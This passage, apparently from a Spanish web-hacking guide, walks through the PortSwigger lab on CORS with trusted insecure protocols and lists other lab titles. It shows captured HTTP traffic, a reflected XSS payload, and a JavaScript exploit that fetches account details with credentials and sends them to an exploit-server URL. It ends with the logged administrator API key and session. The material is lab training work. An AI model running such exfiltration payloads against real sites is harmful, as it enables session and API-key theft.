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  • La Biblia del Hacking en Web
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    • Aprende Hacking Web con los laboratorios de PortSwigger
  • SQL Injection
    • ¿SQL Injection?
    • Lab 1: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
    • Lab 2: SQL injection vulnerability allowing login bypass
    • Lab 3: SQL injection attack, querying the database type and version on Oracle
    • Lab 4: SQL injection attack, querying the database type and version on MySQL and Microsoft
    • Lab 5: SQL injection attack, listing the database contents on non-Oracle databases
    • Lab 6: SQL injection attack, listing the database contents on Oracle
  • Cross Site Scripting
    • ¿XSS?
    • Lab 1: Reflected XSS into HTML context with nothing encoded
    • Lab 2: Stored XSS into HTML context with nothing encoded
    • Lab 3: DOM XSS in document.write sink using source location.search
    • Lab 4: DOM XSS in innerHTML sink using source location.search
    • Lab 5: DOM XSS in jQuery anchor href attribute sink using location.search source
  • ClickJacking
    • ¿Clickjacking?
    • Lab 1: Basic clickjacking with CSRF token protection
  • Access control vulnerabilities
    • ¿Control de Acceso?
    • Lab 1: Unprotected admin functionality
    • Lab 3: User role controlled by request parameter
  • Path traversal
    • ¿Path Traversal?
    • Lab 1: File path traversal, simple case
    • Lab 2: File path traversal, traversal sequences blocked with absolute path bypass
    • Lab 3: File path traversal, traversal sequences stripped non-recursively
  • XML external entity (XXE) injection
    • ¿XML external entity?
    • Lab 1: Exploiting XXE using external entities to retrieve files
    • Lab 2: Exploiting XXE to perform SSRF attacks
    • Lab 3: Blind XXE with out-of-band interaction
  • JWT
    • ¿JWT?
    • Lab 1: JWT authentication bypass via unverified signature
    • Lab 2: JWT authentication bypass via flawed signature verification
    • Lab 3: JWT authentication bypass via weak signing key
    • Lab 4: JWT authentication bypass via jwk header injection
    • Lab 5: JWT authentication bypass via jku header injection
  • Server-side request forgery (SSRF)
    • ¿SSRF?
    • Lab 1: Basic SSRF against the local server
  • OS command injection
    • ¿OS Command Injection?
    • Lab 1: OS command injection, simple case
  • Authentication
    • ¿Authentication?
    • Lab 1: Username enumeration via different responses
  • HTTP request smuggling
    • ¿HTTP request smuggling?
    • Lab 1: HTTP request smuggling, confirming a CL.TE vulnerability via differential responses
  • Server-side template injection
    • ¿Server-side template injection?
    • Lab 1: Basic server-side template injection
  • DOM-based vulnerabilities
    • Lab 1: DOM XSS using web messages
    • Lab 2: DOM XSS using web messages and a JavaScript URL
  • WebSockets
    • Lab #1: Manipulating WebSocket messages to exploit vulnerabilities
  • Prototype pollution
    • ¿Prototype Pollution?
    • Lab 1: Client-side prototype pollution via browser APIs
      • Utilizando DOM Invader
    • Lab 2: DOM XSS via client-side prototype pollution
    • Lab 3: DOM XSS via an alternative prototype pollution vector
      • Utilizando DOM Invader
    • Lab 4: Client-side prototype pollution via flawed sanitization
    • Lab 5: Client-side prototype pollution in third-party libraries
    • Lab 6: Privilege escalation via server-side prototype pollution
    • Lab 7: Detecting server-side prototype pollution without polluted property reflection
    • Lab 8: Bypassing flawed input filters for server-side prototype pollution
    • Lab 9: Remote code execution via server-side prototype pollution
    • Lab 10: Exfiltrating sensitive data via server-side prototype pollution
  • GraphQL
    • Lab 1: Accessing private GraphQL posts
  • Web cache poisoning
    • Lab 1: Web cache poisoning with an unkeyed header
  • CORS
    • Lab #2 - CORS vulnerability with trusted null origin
    • Lab 3: CORS vulnerability with trusted insecure protocols
  • API testing
    • Lab #1: Exploiting an API endpoint using documentation
    • Lab #2: Exploiting server-side parameter pollution in a query string
    • Lab #3: Finding and exploiting an unused API endpoint
    • Lab #4: Exploiting a mass assignment vulnerability
    • Lab #5: Exploiting server-side parameter pollution in a REST URL
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  1. CORS

Lab 3: CORS vulnerability with trusted insecure protocols

https://portswigger.net/web-security/cors/lab-breaking-https-attack

Primero iniciamos sesion y capturamos la siguiente peticion:

GET /accountDetails HTTP/2
Host: 0a5000120438c0d181938e1900bb00e7.web-security-academy.net
Cookie: session=BMGMCpBoyKZqvljTK4JLclKbfPUzUi3f
Sec-Ch-Ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a5000120438c0d181938e1900bb00e7.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate, br
Accept-Language: es-ES,es;q=0.9
Priority: u=1, i

La peticion previa responde asi:

HTTP/2 200 OK
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 149

{
  "username": "wiener",
  "email": "",
  "apikey": "zZYurR0j8yVuO0G4rUgOEQ3BDPCa1k63",
  "sessions": [
    "BMGMCpBoyKZqvljTK4JLclKbfPUzUi3f"
  ]
}

Y tambien se identifica la siguiente peticion al clickear en check stock:

La peticion es:

GET /?productId=1&storeId=1 HTTP/1.1
Host: stock.0a5000120438c0d181938e1900bb00e7.web-security-academy.net
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: es-ES,es;q=0.9
Connection: keep-alive

Y la respuesta es:

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: session=xcDseBBRQ3hSmUgsF5uWLEusdjSmvaWk; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 16

Stock level: 394

Se puede apreciar Access-Control-Allow-Credentials: true y por lo anterior, enviamos la siguiente peticion:

GET /accountDetails HTTP/2
Host: 0a5000120438c0d181938e1900bb00e7.web-security-academy.net
Cookie: session=jv44EUnL4EjHlw0QR2FOyfIxJPWolEj3
Origin: https://exploit-0ac800cb046a13ad81b1ce40010f001a.exploit-server.net/
Pragma: no-cache
Cache-Control: no-cache
Sec-Ch-Ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br
Accept-Language: es-ES,es;q=0.9
Priority: u=1, i

Pero no funciona:

HTTP/2 200 OK
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 149

{
  "username": "wiener",
  "email": "",
  "apikey": "uQASsz6qb00wbSWwMYA3ssCglHbumhoP",
  "sessions": [
    "jv44EUnL4EjHlw0QR2FOyfIxJPWolEj3"
  ]
}

Por lo anterior, autorizamos el subdominio:

GET /accountDetails HTTP/2
Host: 0a5000120438c0d181938e1900bb00e7.web-security-academy.net
Origin: http://stock.0a5000120438c0d181938e1900bb00e7.web-security-academy.net
Cookie: session=BMGMCpBoyKZqvljTK4JLclKbfPUzUi3f
Sec-Ch-Ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a5000120438c0d181938e1900bb00e7.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate, br
Accept-Language: es-ES,es;q=0.9
Priority: u=1, i

Y con el subdominio si funciono:

HTTP/2 200 OK
Access-Control-Allow-Origin: http://stock.0a5000120438c0d181938e1900bb00e7.web-security-academy.net
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 149

{
  "username": "wiener",
  "email": "",
  "apikey": "zZYurR0j8yVuO0G4rUgOEQ3BDPCa1k63",
  "sessions": [
    "BMGMCpBoyKZqvljTK4JLclKbfPUzUi3f"
  ]
}

Y adicionalmente, se detecta que el aplicativo web stock es susceptible a ataques de XSS:

http://stock.0ace001004cb5c4384df4662009c00d6.web-security-academy.net/?productId=4%3Cscript%3Ealert(2024)%3C/script%3E&storeId=1

Teniendo en cuenta lo anterior, se desarrolla el siguiente exploit:

<script>
    // Redirige la ubicación actual del documento a una URL específica
    document.location="http://stock.0a5000120438c0d181938e1900bb00e7.web-security-academy.net/?productId=4<script>
    
    // Crea un nuevo objeto XMLHttpRequest para realizar solicitudes HTTP en segundo plano
    var req = new XMLHttpRequest();
    
    // Define la función que se ejecutará cuando la solicitud se complete con éxito
    req.onload = reqListener;
    
    // Abre una solicitud GET a la URL especificada
    req.open('get','https://0a5000120438c0d181938e1900bb00e7.web-security-academy.net/accountDetails',true);
    
    // Incluye las credenciales (cookies, cabeceras de autenticación) en la solicitud
    req.withCredentials = true;
    
    // Envía la solicitud HTTP
    req.send();
    
    // Define la función que maneja la respuesta de la solicitud
    function reqListener() {
        // Redirige el navegador a la URL del servidor de explotación, pasando la respuesta como parámetro
        location='https://exploit-0a2100ff0465c0dd81cd8dbc0104000f.exploit-server.net/log?key=' + this.responseText;
    };
    
    // Cierra la etiqueta <script> inyectada
    %3c/script>
    
    // Añade un parámetro adicional a la URL de redirección
    &storeId=1"
</script>

En este escenario, el servidor web de web-security-academy.net está configurado para confiar en todos los subdominios sin importar el protocolo. Esto significa que cualquier subdominio bajo web-security-academy.net, como stock.0a5000120438c0d181938e1900bb00e7.web-security-academy.net, es automáticamente autorizado a realizar peticiones cross-origin a 0a5000120438c0d181938e1900bb00e7.web-security-academy.net

Y luego de lo anterior, se envia la URL del exploit server a la victima:

Se recibe el siguiente Log:

10.0.4.192      2024-07-02 16:05:48 +0000 "GET /log?key={%20%20%22username%22:%20%22administrator%22,%20%20%22email%22:%20%22%22,%20%20%22apikey%22:%20%22R79v19o3c806LE3uqDV6jWs3LZUDT6nE%22,%20%20%22sessions%22:%20[%20%20%20%20%22Flkp523j6bUAJX1R1BCgm7vamY3aFjc6%22%20%20]} HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"

Al decodificar en formato URL se obtiene lo siguiente:

{
    "username": "administrator",
    "email": "",
    "apikey": "R79v19o3c806LE3uqDV6jWs3LZUDT6nE",
    "sessions": ["Flkp523j6bUAJX1R1BCgm7vamY3aFjc6"]
}
AnteriorLab #2 - CORS vulnerability with trusted null originSiguienteLab #1: Exploiting an API endpoint using documentation

Última actualización hace 10 meses

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